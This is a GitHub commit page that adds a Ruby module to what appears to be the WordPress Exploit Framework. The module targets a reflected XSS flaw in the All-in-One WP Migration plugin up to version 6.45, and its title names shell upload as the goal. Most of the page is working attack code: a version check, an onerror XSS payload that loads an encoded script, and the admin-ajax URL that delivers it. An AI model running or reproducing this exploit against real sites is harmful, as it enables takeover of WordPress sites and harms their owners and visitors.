Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 093adec

Browse files
committed
Add All-in-One WP Migration <= 6.45 reflected XSS shell upload
1 parent 721c7b4 commit 093adec

File tree

1 file changed

+31
-0
lines changed

1 file changed

+31
-0
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
class Wpxf::Exploit::AllInOneMigrationReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'All In One WP Migration <= 6.45 Reflected XSS Shell Upload',
9+
author: [
10+
'0w4ys', # Dislosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8851']
15+
],
16+
date: 'Jun 20 2017'
17+
)
18+
end
19+
20+
def check
21+
check_plugin_version_from_readme('all-in-one-wp-migration', '6.46')
22+
end
23+
24+
def xss_payload
25+
url_encode("\"}<img src=#{Utility::Text.rand_alpha(5)} onerror=#{xss_ascii_encoded_include_script}><!--")
26+
end
27+
28+
def url_with_xss
29+
"#{wordpress_url_admin_ajax}?action=ai1wm_status&secret_key=#{xss_payload}"
30+
end
31+
end

0 commit comments

Comments
 (0)